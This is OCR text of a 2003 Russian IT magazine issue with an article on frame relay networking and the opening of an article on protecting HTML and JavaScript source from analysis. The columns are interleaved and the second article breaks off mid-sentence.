АБСОЛЮТНО
ВСЕ
О FRAME
RELAY

Технология frame relay изначально расcчитывалась как


высокоскоростная технология для территориальных сетей,
предназначенная для передачи чувствительного к задержкам
трафика, которым, в частности, являются видео- и
аудиопотоки, – что и стало главным фактором высокой
востребованности данной технологии.

СЕРГЕЙ РОПЧАН

26
администрирование
Сети frame relay – сравнительно но- телекоммуникационных компаний и фик передается почти всегда, боль-
вые сети, которые гораздо лучше организаций по стандартизации. В ше подходят постоянные каналы, а
подходят для передачи пульсирую- ее становлении и стандартизации для соединений, которые нужны на
щего трафика локальных сетей. По помимо CITT (ITU-T) активное учас- несколько часов в месяц, больше
сравнению с технологией Х.25, это тие принимают Frame Relay Forum и подходят коммутируемые каналы.
преимущество проявляется только комитет T1S1 института ANSI. Однако производители оборудо-
тогда, когда каналы связи прибли- Некоммерческую организацию вания frame relay и поставщики ус-
жаются по качеству к каналам ло- Frame Relay Forum образовали в луг сетей frame relay начали с под-
кальных сетей; в случае же глобаль- 1990 году компании Cisco Systems, держки только постоянных вирту-
ных сетей такое качество достижи- StrataCom, Northern Telecom и Digital альных каналов. Это, естественно,
мо при использовании волоконно- Equipment Corp. для развития и кон- является большим упрощением дан-
оптических кабелей. кретизации с тандартов CCITT и ной технологии. Тем не менее в пос-
Преимущество сетей frame relay ANSI. Спецификации Frame Relay леднее время появилось оборудова-
заключается в их низкой протоколь- Forum носят название FRF и имеют ние, поддерживающее коммутируе-
ной избыточности и дейтаграммном порядковые номера. Спецификации мые виртуальные каналы, и появи-
режиме работы, что обеспечивает FRF часто стандартизируют те ас- лись поставщики, предлагающие
высокую пропускную способность и пекты данной технологии, которые данную услугу.
небольшие задержки кадров. На- не нашли еще свое отражение в
дежную передачу кадров данная стандартах ITU-T и ANSI. Например, Стек протоколов
технология не обеспечивает, данные спецификация FRF.11 определяет frame relay
сети специально разрабатывались режим передачи голоса по сетям Технология frame relay использует
как общественные сети для соеди- frame relay. для передачи данных технику вирту-
нения частных локальных сетей при Концорциум Frame Relay Forum альных соединений, аналогичную
скорости передачи данных до 2 разработал спецификацию, отвеча- той, которая применялась в сетях
Мбит/c. ющую требованиям базового прото- Х.25, однако стек протоколов frame
У данной технологии есть осо- кола frame relay, разработанного relay передает кадры (при установ-
бенность, которая заключается в га- T1S1 и CCITT. Однако консорциум ленном виртуальном соединении) по
рантированной поддержке основных расширил базовый протокол, вклю- протоколам только физического и
показателей качества транспортно- чив дополнительные возможности канального уровней, в то время как
го обслуживания локальных сетей – по управлению сетью со стороны в сетях Х.25 и после установления
средней скорости передачи данных пользователя, что очень важно при соединения пользовательские дан-
по виртуальному каналу при допус- использовании технологии frame ные передаются протоколом 3-го
тимых пульсациях трафика. Суще- relay в сложных корпоративных се- уровня.
ствует еще одна технология – АТМ, тях. Эти дополнения к frame relay Кроме того, протокол канально-
которая может гарантировать анало- обобщенно называют Local Mana- го уровня LAP-F в сетях frame relay
гичные показатели, в то время как gement Interface (LMI) – локальный имеет два режима работы: основной
все остальные технологии предос- интерфейс управления. (core) и управляющий (control). В ос-
тавляют требуемое качество обслу- Стандарты ITU-T обычно отлича- новном режиме, который физически
живания только в режиме “с макси- ются высоким уровнем сложности и практикуется в сегодняшних сетях
мальными усилиями” (best effort), то наличием многих возможностей, ко- frame relay, кадры передаются без
есть без гарантий. торые достаточно трудно реализо- преобразования и контроля, как и в
Технология frame relay в сетях вать на практике. Спецификации коммутаторах локальных сетей. За
ISDN стандартизирована как служ- Frame Relay Forum упрощают неко- счет данной особенности описывае-
ба. В рекомендациях I.122, вышед- торые аспекты стандартов ITU-T или мой технологии она обладает высо-
ших в свет в 1988 году, эта служба отбрасывают некоторые возможно- кой производительностью, а сеть не
входила в число дополнительных сти. Так, технология frame relay не передает квитанции подтверждения
служб пакетного режима, но затем нашла своего отражения в специфи- между коммутаторами на каждый
уже при пересмотре рекомендаций кации FRF, а процедуры создания пользовательский кадр, как это про-
в 1992-93 гг. она была названа служ- коммутируемых виртуальных кана- исходит в сети Х.25. Пульсации тра-
бой frame relay и вошла в число лов появились в спецификациях FRF фика передаются достаточно быст-
служб режима передачи кадров на- позже, чем в стандартах ITU-T, и ро и без больших задержек.
ряду со службой frame switching. оказались более простыми. При таком подходе уменьшают-
Служба frame switching работает в Стандарты frame relay, как ITU-T/ ся накладные расходы при переда-
режиме гарантированной доставки ANSI, так и Frame Relay Forum, оп- че пакетов локальных сетей, так как
кадров с регулированием потока. На ределяют два типа виртуальных ка- они вкладываются сразу в кадры ка-
практике поставщика услуг предла- налов: постоянные (PVC) и коммути- нального уровня, а не в пакеты се-
гают только саму службу frame relay. руемые (SVC). Это соответствует тевого уровня, как это происходит в
Технология frame relay сразу при- потребностям пользователей, так сетях, построенных на базе техноло-
влекла большое внимание ведущих как для соединений, по которым тра- гии Х.25.

№2(3), март 2003 27


администрирование
Структура стека frame relay хоро- изображает его на пол-уровня ниже, живания встроены.
шо отображает ее происхождение в чем протокол LAP-D, оставляя место Для каждого виртуального со-
недрах технологии ISDN, так как для функций надежной передачи па- единения определяется несколько
сети frame relay заимствуют многое кетов протоколу LAP-F control. параметров, влияющих на качество
из стека протоколов ISDN, особен- Из-за того что технология frame обслуживания:
но в процедурах установления ком- relay заканчивается на канальном  CIR (Commited Information Rate) –
мутируемого виртуального канала. уровне, она хорошо согласуется с согласованная информационная
Основу технологии составляет идеей инкапсуляции пакетов едино- скорость, с которой сеть будет
протокол LAP-F core, который явля- го сетевого протокола, например IP, передавать данные пользовате-
ется весьма упрощенной версией в кадры канального уровня любых ля;
протокола LAP-D. Протокол LAP-F сетей, составляющих интрасеть.  Bc (Commited Burst Size) – согла-
(стандарт Q.922 ITU-T) работает на Процедуры взаимодействий прото- сованный объем пульсации, то
любых каналах сети ISDN, а также колов сетевого уровня с технологи- есть максимальное количество
на каналах типа T1/E1. ей frame relay стандартизированы, байт, которое сеть будет переда-
Терминальное оборудование по- например, принята спецификация вать от этого пользователя за ин-
сылает в сеть кадры LAP-F, в любой RFC 1490, определяющая методы тервал времени Т;
момент времени считая, что вирту- инкапсуляции в трафик frame relay  Be (Excess Burst Size) – допол-
альный канал в сети коммутаторов трафика сетевых протоколов и про- нительный объем пульсации, то
уже проложен. При использовании токолов канального уровня локаль- есть максимальное количество
PVC оборудованию frame relay нуж- ных сетей и SNA. байт, которое сеть будет пытать-
но поддерживать только протокол Другой особенностью технологии ся передать сверх установленно-
LAP-F core. frame relay является отказ от коррек- го значения Bc за интервал вре-
Протокол LAP-F control является ции обнаруженных в кадрах искаже- мени T.
необязательной надстройкой над ний. Протокол frame relay подразу-
LAP-F core, которая выполняет фун- мевает, что конечные узлы будут об- Если эти величины определены,
кции контроля доставки кадров и уп- наруживать и корректировать ошиб- то время Т вычисляется по форму-
равления потоком. С помощью про- ки за счет работы протоколов транс- ле: T=Bc/CIR. Можно задать значе-
токола LAP-F control сетью реализу- портного или более высоких уров- ния CIR и T, тогда производной ве-
ется служба switching. ней. Это требует некоторой степени личиной станет величина всплеска
Для установки коммутируемых интеллектуальности от конечного трафика Bc.
виртуальных каналов стандарт ITU-T оборудования, что по большей час- Гарантий по задержкам переда-
предлагает канал D пользовательс- ти справедливо для современных чи кадров технология frame relay не
кого интерфейса. На нем работает локальных сетей. В этом отношении дает, оставляя эту услугу сетям
протокол LAP-D, который использу- технология frame relay близка к тех- АТМ.
ется для надежной передачи кадров нологиям локальных сетей, таких Основным параметром, по кото-
в сетях ISDN. Поверх этого протоко- как Ethernet, Token Ring и FDDI, ко- рому абонент и сеть заключают со-
ла работает протокол Q.931 или про- торые тоже только отбрасывают ис- глашение при установлении вирту-
токол Q.933 (который является уп- каженные кадры, но сами не зани- ального соединения, является согла-
рощением и модификацией протоко- маются их повторной передачей. сованная скорость передачи дан-
ла Q.931 ISDN), устанавливающий В основу структуры кадра LAP-F ных. Для постоянных виртуальных
виртуальное соединение на основе был взят формат кадра HDLC, но каналов это соглашение является
адресов конечных абонентов (в поле адреса существенно изменило частью контракта на пользование
стандарте Е.164 или ISO 7498), а свой формат, а поле управления во- услугами сети. При установлении
также номера виртуального соеди- обще отсутствует. коммутируемого виртуального кана-
нения, которое в технологии frame Технология frame relay, обеспечи- ла соглашение о качестве обслужи-
relay носит название Data Link вает основные параметры качества вания заключается автоматически с
Connection Identifier (DLCI). транспортного обслуживания, необ- помощью протокола Q.931/933. Тре-
После того как коммутируемый ходимые при объединении локаль- буемые параметры CIR, Bc, Be пе-
виртуальный канал в сети frame ных сетей. редаются в пакете запроса на уста-
relay установлен посредством про- Вместо приоритезации трафика новление соединения.
токолов LAP-D и Q.931/933, кадры используется процедура заказа ка- Так как скорость передачи дан-
могут транслироваться по протоко- чества обслуживания при установ- ных измеряется на каком-то интер-
лу LAP-F, который коммутирует их с лении соединения, отсутствующая в вале времени, то интервал Т и яв-
помощью таблиц коммутации пор- сетях Х.25 и пробивающая себе до- ляется таким контрольным интерва-
тов, в которых используются локаль- рогу в сетях ТCP/IP в форме экспе- лом, на котором проверяются усло-
ные значения DLCI. Протокол LAP-F риментального протокола RSVP, ко- вия соглашения. В общем случае
core выполняет не все функции ка- торый пока не нашел широкого при- пользователь не должен за этот ин-
нального уровня по сравнению с менения. В технологии frame relay тервал передавать в сеть данные со
протоколом LAP-D, поэтому ITU-T заказ и поддержка качества обслу- средней скоростью, превосходящей

28
администрирование
CIR. Если же он нарушает соглаше- превышении порога Ве они отбрасы- жении темпа передачи пакетов. Так
ние, то сеть не только не гарантиру- ваются. Контрольный интервал вре- как регулирование потока иницииру-
ет доставку кадра, но помечает этот мени Т в этом случае вычисляется, ется в разных протоколах по-разно-
кадр признаком DE (Discard как Be/R, где R – скорость доступа му – как принимающей стороной,
Eligibility), равным 1, то есть как канала. так и передающей, – то разработчи-
кадр, подлежащий удалению. Одна- Механизм заказа средней про- ки протоколов frame relay учли оба
ко кадры, отмеченные таким призна- пускной способности и максималь- направления снабжения предупреж-
ком, удаляются из сети только в том ной пульсации является основным дающей информацией о переполне-
случае, если коммутаторы сети ис- механизмом управления потоками нии сети.
пытывают перегрузки. Если же нет кадров в сетях frame relay. Соглаше- В общем случае биты FECN и
перегрузок, то кадры с признаком ния должны заключаться таким об- BECN мог ут игнорироваться. Но
DE=1 доставляются адресату. разом, чтобы сумма средних скоро- обычно устройство доступа к сети
Для контроля соглашения о пара- стей виртуальных каналов не пре- frame relay (Frame Relay Access
метрах качества обслуживания все восходила возможностей портов Device, FRAD) обрабатывает по
коммутаторы сети frame relay выпол- коммутаторов. При заказе постоян- крайней мере признак BECN.
няют так называемый алгоритм “ды- ных каналов за это отвечает адми- При создании коммутируемого
рявого ведра” (Leaky Bucket). Алго- нистратор, а при установлении ком- виртуального канала параметры ка-
ритм использует счетчик С посту- мутируемых виртуальных каналов – чества обслуживания передаются в
пивших от пользователя байт. Каж- программное обеспечение коммута- сеть с помощью протокола Q.931.
дые Т секунд этот счетчик уменьша- торов. При правильно взятых на Этот протокол устанавливает вирту-
ется на величину Bc (или же сбра- себя обязательствах сеть борется с альное соединение с помощью не-
сывается в 0, если значение счетчи- перегрузками путем удаления кад- скольких служебных пакетов.
ка меньше чем Bc). Все кадры, дан- ров с признаком DE=1 и кадров, пре- Абонент сети frame relay, который
ные которых не увеличили значение высивших порог Вс+Ве. хочет установить виртуальное со-
счетчика свыше порога Bc, пропус- Тем не менее в технологии frame единение с другим абонентом, дол-
каются в сеть со значением призна- relay определен еще и дополнитель- жен передать в сеть по каналу D со-
ка DE=0. Кадры, данные которых ный (необязательный) механизм уп- общение SETUP, которое имеет не-
привели к значению счетчика, боль- равления кадрами. Это механизм сколько параметров, в том числе:
шему Вс, но меньшему Вс+Ве, так- оповещения конечных пользовате-  DLCI;
же передаются в сеть, но с призна- лей о том, что в коммутаторах сети  адрес назначения (в формате
ком DE=1. И наконец, кадры, кото- возникли перегрузки (переполнение E.164, X.121 или ISO 7498);
рые привели к значению счетчика, необработанными кадрами). Бит  максимальный размер кадра в
большему Bc+Be, отбрасываются FECN (Forward Explicit Congestion Bit) данном виртуальном соедине-
коммутатором. кадра извещает об этом принимаю- нии;
Пользователь может договорить- щую сторону. На основании значения  запрашиваемое значение CIR
ся о включении не всех параметров этого бита принимающая сторона для двух направлений;
качества обслуживания на данном должна с помощью протоколов более  запрашиваемое значение Bc для
виртуальном канале, а только неко- высоких уровней (TCP/IP, SPX и т. п.) двух направлений;
торых. известить передающую сторону о  запрашиваемое значение Be для
Например, можно использовать том, что та должна снизить интенсив- двух направлений.
только параметры CIR и Вс. Этот ва- ность отправки пакетов в сеть.
риант дает более качественное об- Бит BECN (Backward Explicit Коммутатор, с которым соединен
служивание, так как кадры никогда Congestion Bit) извещает о перепол- пользователь, сразу же передает
не отбрасываются коммутатором нении в сети передающую сторону пользователю пакет CALL PROCE-
сразу. Коммутатор только помечает и является рекомендацией немед- EDING – вызов обрабатывается. За-
кадры, которые превышают порог Вс ленно снизить темп передачи. Бит тем он анализирует параметры, ука-
за время Т, признаком DE=1. Если BECN обычно обрабатывается на занные в пакете, и если коммутатор
сеть не сталкивается с перегрузка- уровне устройств доступа к сети может их удовлетворить (распола-
ми, то кадры такого канала всегда frame relay: маршрутизаторов, муль- гая, естественно, информацией о
доходят до конечного узла, даже типлексоров и устройств CSU/DSU. том, какие виртуальные каналы на
если пользователь постоянно нару- Протокол frame relay не требует от каждом порту он уже поддержива-
шает договор с сетью. устройств, получивших кадры у ус- ет), то пересылает сообщение
Популярен еще один вид заказа тановленных битами FECN и BECN, SETUP следующему коммутатору.
на качество обслуживания, при ко- немедленного прекращения переда- Следующий коммутатор выбирает-
тором оговаривается только порог чи кадров в данном направлении, ся в соответствии с таблицей марш-
Ве, а скорость CIR полагается рав- как того требуют кадры RNR сетей рутизации. Протокол автоматичес-
ной нулю. Все кадры такого канала Х.25. Эти биты должны служить ука- кого составления таблиц маршрути-
сразу же отмечаются признаком занием для протоколов более высо- зации для технологии frame relay не
DE=1, но отправляются в сеть, а при ких уровней (TCP, SPX, NCP) о сни- определен, поэтому может исполь-

№2(3), март 2003 29


администрирование
зоваться фирменный протокол про- ственные, то кадры будут теряться еще не все проблемы передачи го-
изводителя оборудования или же и искажаться редко, так что ско- лоса, поэтому работа в этом направ-
статическое составление таблицы. рость восстановления пакетов про- лении продолжается.
Если все коммутаторы на пути к ко- токолом TCP или NCP будет вполне Ввиду преобладания в коммер-
нечному узлу согласны принять зап- приемлема. Если же кадры теряют- ческих сетях frame relay услуг посто-
рос, то пакет SETUP передается в ся и искажаются часто, то полезная янных коммутируемых каналов и га-
конечном счете вызываемому або- пропускная способность в сети frame рантированной пропускной способ-
ненту. Вызываемый абонент немед- relay может упасть в десятки раз, как ности, эти сети предоставляют услу-
ленно передает в сеть пакет CALL это происходит в сетях Ethernet при ги, очень похожие на услуги дробных
PROCEEDING и начинает обрабаты- плохом состоянии кабелей. выделенных линий T1/E1, но только
вать запрос. Если запрос принима- Поэтому сети frame relay следу- за существенно меньшую плату.
ется, то вызываемый абонент пере- ет применять только при наличии на При использовании PVC сеть
дает в сеть новый пакет – магистральных каналах волоконно- frame relay хорошо подходит для
CONNECT, который проходит в об- оптических кабелей высокого каче- объединения локальных сетей с по-
ратном порядке по виртуальному ства. Каналы доступа могут быть и мощью мостов, так как в этом слу-
пути. Все коммутаторы должны от- на витой паре, как это разрешает чае от моста не нужна поддержка
метить, что данный виртуальный интерфейс G.703 или абонентское механизма установления виртуаль-
канал принят вызываемым абонен- окончание ISDN. Используемая на ного канала, что требует некоторо-
том. При поступлении сообщения каналах доступа аппаратура пере- го программного “интеллекта”. Мост
CONNECT вызывающему абоненту дачи данных должна обеспечить может отправлять кадры протокола
он должен передать в сеть пакет приемлемый уровень искажения Ethernet или FDDI непосредственно
CONNECT ACKNOWLEDGE. данных – 106. в кадрах LAP-F или же может ис-
Cеть также должна передать вы- На величины задержек сеть пользовать поверх протокола LAP-
зываемому абоненту пакет frame relay гарантий не дает, – и это F протокол РРР. Стандарт Internet
CONNECT ACKNOWLEDGE, на этом основная причина, которая ограни- RFC 1490 определяет формат заго-
соединение считается установлен- чивает применение этих сетей для ловка SNAP для случая передачи
ным, и по виртуальному каналу мо- передачи голоса. Передача видеоря- через сеть frame relay непосред-
гут передаваться данные. да также не удовлетворяет всем тре- ственно кадров канального уровня.
бованиям, так как пропускная спо- Чаще доступ к сетям frame relay
Применение сетей собность в 2Мбит/c является недо- реализуют не удаленные мосты, а
frame relay статочной. маршрутизаторы, которые в случае
Услуги frame relay обычно предостав- Тем не менее многие производи- поддержки на последовательных
ляются теми же операторами, кото- тели оборудования для сетей frame портах протокола frame relay как ос-
рые используют сети Х.25. Большая relay поддерживают в своих реше- новного называют устройствами до-
часть производителей выпускает ниях передачу голоса. Поддержка ступа FRAD (хотя и мост, и любое ус-
сейчас коммутаторы, которые могут устройствами доступа заключаются тройство, которое поддерживает
работать как по протоколам Х.25, так в присвоении кадрам, переносящим протоколы UNI frame relay, относят-
и по протоколам frame relay. замеры голоса, приоритетов. Маги- ся к класу FRAD).
Технология frame relay начинает стральные коммутаторы frame relay Так как сети frame relay переда-
занимать в территориальных сетях должны обслуживать такие кадры в ют кадры с небольшими задержками,
с коммутацией пакетов ту же нишу, первую очередь. Кроме того, жела- с их помощью часто передают тра-
которую заняла в локальных сетях тельно, чтобы сеть frame relay, пе- фик сетей SNA, особенно в том слу-
технология Ethernet. Их роднит то, редающая кадры с замерами голо- чае, когда они используют такие чув-
что они предоставляют только быс- са, была недогруженной. При этом ствительные к задержкам протоколы,
трые базовые транспортные услуги, в коммутаторах не возникнет очере- как SDLC (фирменный протокол ка-
доставляя кадры в узел назначения ди кадров, и средние задержки в нального уровня компании IBM).
без гарантий дейтаграммным спосо- очередях будут близки к нулевым. Виртуальные каналы в качестве
бом. Однако если кадры теряются, Необходимо также соблюдение основы построения корпоративных
то сеть frame relay, как и сеть еще одного условия для качествен- сетей имеют один недостаток – при
Ethernet, не предпринимает никаких ной передачи голоса – передавать большом количестве точек доступа
усилий для их восстановления. От- замеры голоса необходимо в кадрах и смешанном характере связей не-
сюда следует простой вывод: полез- небольших размеров, иначе на ка- обходимо большое количество вир-
ная пропускная способность при- чество передачи будут влиять задер- туальных каналов, каждый из кото-
кладных протоколов при работе че- жки упаковки замеров в кадр, так рых оплачивается отдельно. В сетях
рез сети frame relay будет зависеть называемые задержки пакетизации. с маршрутизацией отдельных паке-
от качества каналов и методов вос- Для стандартизации механизмов тов, таких как TCP/IP, абонент пла-
становления пакетов на уровнях сте- качественной передачи голоса через тит только за количество точек дос-
ка, расположенного над протокола- сеть frame relay выпущена специфи- тупа, а не за количество связей меж-
ми frame relay. Если каналы каче- кация FRF.11. Однако в ней решены ду ними.

30
МОЖНО ЛИ
ЗАЩИТИТЬ
ВЕБ-СТРАНИЦЫ
ОТ АНАЛИЗА
ИСХОДНОГО
КОДА?

Можно ли как-то помешать программисту-профессионалу,


располагающему сколь угодно богатым арсеналом
специализированных программ – отладчиком, собственной версией
браузера с исходными текстами, виртуальной машиной и любыми
другими средствами – проанализировать исходный HTML-код веб-
страницы или, по крайней мере, клиентский JavaScript?
Если это и возможно, то так же трудно, как реализация схемы
защиты, описанной в этой статье.
программирование
Формат HTML – самый популярный формат для представ-
ления веб-страниц – изначально разрабатывался как откры-
тый. Это значит, что любой посетитель, который видел веб-
страницу в своем браузере, при желании всегда мог уви-
деть исходный HTML-текст этой страницы. Подобная воз-
можность была встроена почти во все браузеры. Например,
в Internet Explorer это команда меню View/Source.
Такое положение дел всех устраивало, пока веб-страни-
цы были сравнительно несложные. Язык HTML тогда исполь-
зовался в основном для выделения гиперссылок, вставки
графики и стилевого оформления текста. В этой ситуации
исходный HTML-текст отличался от того, что посетитель ви-
дел на экране, только сравнительно небольшим количеством
простых тегов, управляющих заголовками, курсивом, жир-
ностью, таблицами и т. п. Прятать от пользователя такой
HTML-текст не было особого смысла. Любой HTML-версталь-
щик cмог бы без особого труда воспроизвести его (или на-
писать эквивалентный), просто глядя на экран готовой веб-
страницы.
Но постепенно приемы верстки усложнялись, появи-
лись стили и, самое главное, стал широко применяться
язык JavaScript. Ускорение связи сделало возможным
встраивание в HTML-страницы нетривиальных JavaScript-
программ, которые при желании могут насчитывать де-
сятки тысяч строк кода.
Сегодня достаточно сложная веб-страница уже не отли-
чается от программы, написанной на традиционном языке
типа Delphi или C++ и реализующей некоторый пользова-
тельский интерфейс.
В такой ситуации открытость формата HTML иногда ока-
зывается нежелательной. Стандарты HTML и JavaScript как
бы «навязывают» соглашение, по которому все исходные
тексты программ автоматически доступны конечному
пользователю. Но в мире обычных программ только сторон-
ники движения «Open Source» придерживаются такого под-
хода. Остальные разработчики склонны рассматривать свой
исходный код как коммерческую тайну или «ноу-хау». Бо-
лее того, в некоторых случаях разработчики стараются по-
мешать даже изучению скомпилированного машинного кода
(или виртуального байт-кода, как в случае Java). Для этого
применяют различные приемы защиты от дизассемблиро-
вания и отладки.
Кроме соображений «коммерческой тайны» возможны
случаи, когда открытость исходного кода веб-страниц недо-
пустима по самому замыслу. Возьмем, например, веб-стра-
ницу, содержащую некоторый тест. По его результатам, ко-
торые посетитель должен куда-то отправить, принимаются
какие-то решения. Такой тест в принципе нельзя реализо-
вывать в рамках открытого HTML и JavaScript – иначе лю-
бой грамотный программист легко подделает результаты
тестирования, просто подсмотрев в JavaScript-коде правиль-
ные ответы. Обычно приходится использовать серверное ре-
шение – ответы посетителя обрабатываются серверным
скриптом. Но у такого решения есть свои минусы: напри-
мер, необходимость в течение всего прохождения теста под-
ДАНИИЛ АЛИЕВСКИЙ держивать связь с Интернетом или высокая нагрузка на сер-
вер при достаточной его популярности.
Возникает естественный вопрос: можно ли как-то поме-
шать посетителю веб-страницы получить и проанализиро-

33
программирование
вать ее исходный HTML-код или хотя бы используемый кли- лучение всех исходных текстов с пониманием логики их
ентский JavaScript? Иначе говоря, можно ли защитить веб- работы, с тем чтобы создать аналогичный либо совершен-
страницу от взлома? но другой продукт, пользуясь украденными фрагментами
Я попытаюсь подробно ответить на этот вопрос. HTML- и JavaScript-кода.
Вначале мы рассмотрим типичные способы «защиты», Мы исходим из того, что в распоряжении потенциаль-
к которым прибегают неопытные веб-программисты, и рас- ного взломщика имеются любые программные средства,
скажем, как можно легко их преодолеть. Затем мы попро- которые уже существуют или могут быть в принципе раз-
буем выстроить защитную технологию, которая смогла бы работаны. Например, взломщиком может быть програм-
реально противодействовать взломщикам. мист компании Microsoft, располагающий полным исходным
Сразу оговорюсь: я не располагаю готовым программ- текстом самого популярного браузера Internet Explorer. Та-
ным пакетом, позволяющим автоматизировать защиту кой программист вполне может чуть-чуть «подправить»
страниц. Я также никогда не реализовывал описываемую браузер с тем, чтобы любой HTML- или JavaScript-код, ко-
далее систему защиты для своих веб-страниц. Описывае- торый браузеру приходится интерпретировать, автомати-
мая схема рассматривается чисто теоретически. чески сохранялся в протоколе на диске. (Недооценка по-
Я также не думаю, что защита от взлома именно язы- добных возможностей взломщика-профессионала – одна
ков HTML и JavaScript – действительно актуальная задача, из самых типичных ошибок новичков, пытающихся защи-
по крайней мере, сегодня. Пока что, по моему личному мне- тить свои страницы.)
нию, эти языки еще «не тянут» на роль профессиональной Мы также предполагаем, что взломщик и «законный»
технологии разработки нетривиального программного обес- посетитель находятся в равных условиях. В частности, если
печения. Если действительно требуется разработать кли- для начала работы «законный» посетитель вводит какие-
ентское приложение, серьезно защищенное от анализа то пароли, то предполагается, что взломщик знает все эти
исходных текстов, то, наверное, рациональнее написать его пароли.
на других языках программирования. Веб-приложение должно исполняться (визуализировать-
Но с теоретической точки зрения задача защиты исход- ся и реагировать на действия пользователя) с помощью
ных текстов HTML и JavaScript, как мне кажется, представ- HTML- или JavaScript-кода, расположенного на компьюте-
ляет интерес именно потому, что эти языки крайне уязви- ре клиента. В идеале пользователь должен иметь возмож-
мы для взлома. Технологии, которые позволили бы защи- ность отключиться от Интернета и работать с веб-прило-
тить от анализа исходных текстов HTML/JavaScript-програм- жением в режиме off-line, пользуясь копиями файлов при-
му, скорее всего, окажутся применимыми практически к ложения, которые браузер поместил в свой внутренний кэш.
любому другому языку. Данное требование можно немного ослабить: допустить не-
Еще одна необходимая оговорка. Я не берусь утверж- большой обмен данными с сервером (скажем, для целей
дать, что предлагаемые здесь идеи действительно позво- защиты). Но мы не рассматриваем ситуацию, когда весь
ляют создать надежную защиту. Может быть, можно при- нетривиальный код «прячется» банальным образом: интер-
думать программу, автоматически «взламывающую» лю- претируется полностью на сервере.
бую защиту, наподобие описанных далее. Если вы найде- Дополнительное требование: веб-приложение должно
те принципиальные упущения в приведенных далее пост- корректно работать хотя бы в некоторых стандартных бра-
роениях или, наоборот, придумаете альтернативную сис- узерах, скажем, Internet Explorer или Netscape.
тему защиты – буду рад обсудить это на форуме xpoint.ru,
а лучше пишите на daniel@siams.com. «Несерьезные» приемы
Во всяком случае, я надеюсь, приведенные ниже рас- Рассмотрим сначала небольшую коллекцию «несерьез-
суждения помогут новичкам вовремя остановиться в про- ных» приемов, к которым часто прибегают веб-програм-
цессе разработки новой уникальной системы защиты, ко- мисты, пытаясь защитить свои страницы. Простейшие из
торая взламывается профессионалом за 3 минуты. А если этих приемов настолько наивны, что скорее поучительны
кому-то действительно всерьез понадобится защитить свои в качестве примера, как делать не надо. Но лучшие из
страницы, возможно, эта статья сможет помочь. них вполне подойдут, чтобы организовать простейшую
защиту от самых непрофессиональных или ленивых
Постановка задачи взломщиков. В отличие от серьезных методов защиты
Предметом нашего обсуждения будет одна HTML-страни- подобные «несерьезные» приемы почти ничего не стоят
ца либо несколько взаимосвязанных HTML-страниц и разработчику страниц.
JavaScript-файлов, подключаемых тегом:
Самый наивный прием – борьба с мышкой
<script language="JavaScript" src="..."></script> Очень многие авторы «систем защиты» в первую очередь
начинают рассуждать следующим образом.
Вместе этот блок файлов мы будем называть веб-при- Чтобы увидеть исходный текст страницы, посетитель
ложением. должен выбрать в браузере команду «View Source». Са-
Наша цель – защитить HTML- и JavaScript-код веб-при- мый типичный способ это сделать – «всплывающее» меню,
ложения настолько хорошо, чтобы стоимость его взлома доступное по правой кнопке мышки. Пишем на JavaScript
была существенно выше стоимости разработки эквивален- обработчик нажатия правой кнопки мышки, который вмес-
тного веб-приложения. Под взломом подразумевается по- то визуализации локального меню высвечивает какое-ни-

34
программирование
будь ругательство. Есть еще команда «View/Source» в ос- Нестандартная обработка запросов к файлам
новном меню браузера. Кладем главную страницу внутрь Однажды я столкнулся с любопытной схемой защиты, осно-
фрейма: тогда Internet Explorer покажет по этой команде ванной на нестандартной реакции веб-сервера на самый
тривиальный FRAMESET. А если умный пользователь уви- обыкновенный (с виду) файл. К HTML-странице был подклю-
дит внутри FRAMESET адрес страницы с фреймом и от- чен сложный JavaScript-файл с традиционным расширени-
кроет ее непосредственно? И с этим можно справиться – ем .js. Но это был не обычный текстовый файл, а PHP-скрипт,
достаточно проверить в JavaScript, что мы находимся внут- возвращающий браузеру JavaScript-код. Веб-сервер был на-
ри нужного фрейма, и если это не так, то сразу уйти на строен таким образом, что конкретно этот файл с расшире-
страницу с «ругательствами». нием .js обрабатывался интерпретатором PHP.
Одна из самых очевидных ошибок таких авторов – они PHP-скрипт полностью анализировал заголовок HTTP-
забывают про кэш браузера. Обычно проще всего полу- запроса, посылаемый браузером серверу. Каждый такой
чить все исходные тексты, «спрятанные» таким образом, заголовок среди прочего содержит поле «Referer»: URL до-
очистив кэш в Internet Explorer и затем зайдя на «защи- кумента, инициировавшего данный запрос (если таковой
щенную» веб-страницу. После этого достаточно заглянуть имеется). Для Java-скриптов, подключаемых тегом:
в папку «Temporary Internet Files» и обнаружить там все
«спрятанные» HTML- и JavaScript-файлы. <script language="JavaScript" src="..."></script>
С кэшированием, правда, можно бороться.
Поле «Referer» в заголовке запроса всегда содержит
Борьба с кэшированием адрес HTML-страницы, внутри которой находится указан-
Более «подкованные» разработчики защитных механизмов ный тег. Если же попытаться прочитать тот же Java-скрипт,
могут вспомнить про кэширование страниц и попытаться просто набрав его URL в адресной строке браузера, то
его отключить. В принципе это не так уж сложно. Для зап- поле «Referer» будет отсутствовать.
рета кэширования существуют специальные элементы в PHP-скрипт, «притворявшийся» обычным .js-файлом,
заголовке HTTP-ответа: проверял, действительно ли «Referer» соответствует адре-
су страницы, к которой этот JavaScript должен быть под-
Pragma: no-cache ключен, или одной из таких страниц. Если это условие со-
Cache-Control: no-cache
блюдалось, то PHP возвращал корректный работоспособ-
(имеет смысл указать оба элемента). Заголовок HTTP-от- ный JavaScript. В противном случае возвращался другой
вета достаточно легко настраивается в любом сервере. Для JavaScript – тоже сложный, но совершенно бесполезный.
тех, кто не имеет доступа к нужным настройкам своего сер- Конечно, кэширование этого JavaScript-файла было от-
вера, существуют эквивалентные META-теги в самом HTML: ключено.
Подобную защиту в принципе преодолеть так же про-
<meta http-equiv="Pragma" content="no-cache"> сто, как и обычную блокировку кэширования, например,
<meta http-equiv="Cache-Control" content="no-cache"> с помощью клиентского proxy-сервера, описанного в пре-
дыдущем пункте. Однако ленивый хакер, взламывающий
Очевидный метод «взлома» таких способов «защиты» «подручными средствами», вполне может оказаться сби-
– использование нестандартного браузера, игнорирующе- тым с толку.
го указание «не кэшировать страницы».
Нужно иметь в виду, что если единственная задача Cамогенерация методом document.writeln()
взломщика – получить на диске точную копию HTML-стра- Из сказанного выше должно быть ясно, что защищаемые
ницы или подключаемого JavaScript-файла, то «браузер», веб-страницы лучше всего разрабатывать таким образом,
решающий такую задачу, пишется за 10 минут на любом чтобы знание их исходных текстов и исходных текстов всех
языке типа Perl или Java. Все, что нужно – отправить на подключаемых JavaScript-файлов было недостаточным.
сервер стандартный запрос по HTTP-протоколу (например, Основным приемом в данном случае является самоге-
